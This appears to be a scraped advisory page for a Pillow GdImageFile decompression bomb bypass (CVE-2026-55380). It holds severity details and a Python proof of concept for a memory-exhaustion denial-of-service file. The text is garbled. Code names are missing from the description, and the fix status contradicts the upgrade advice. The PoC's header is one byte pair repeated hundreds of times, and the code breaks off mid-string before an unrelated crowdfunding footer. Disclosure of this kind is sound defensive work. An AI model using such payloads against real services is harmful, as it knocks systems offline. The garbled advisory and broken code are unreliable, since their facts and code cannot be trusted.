Pillow GdImageFile Decompression Bomb Bypass (CVE-2026-55380)

Vulnerability Overview Vulnerability Name: Image Dimensions Accept No — 1037-byte crafted file triggers unchecked 4.3 GB C heap allocation (24x DecompressionBombError threshold) Vulnerability Description: in reads image dimensions from the GD 2.x file header and stores them in without calling . Since is not registered with , it does not execute Pillow’s decompression bomb check through the standard code path. This plugin exposes its own entry point — — which directly instantiates the class, completely bypassing documented protections. Affected Versions: Pillow ≤ 12.2.0 Fixed Versions: None Impact Scope Severity: High (7.5 / 10) CVSS v3 Base Metrics: - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality: None - Integrity: None - Availability: High CVE ID: CVE-2026-55380 Weakness: CWE-789 Reporter: x-forwarded-sudo Remediation Current Status: Unfixed Recommendation: Upgrade to a version of Pillow greater than 12.2.0, or apply the patch manually. POC Code ```python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file - 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image Build minimal 1037-byte GD 2.x palette-mode header: sig = b"\x89GD" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\x00\x02" + b"\

Goal Reached Thanks to every supporter — we hit 100%!

Pillow GdImageFile Decompression Bomb Bypass (CVE-2026-55380)

More from this source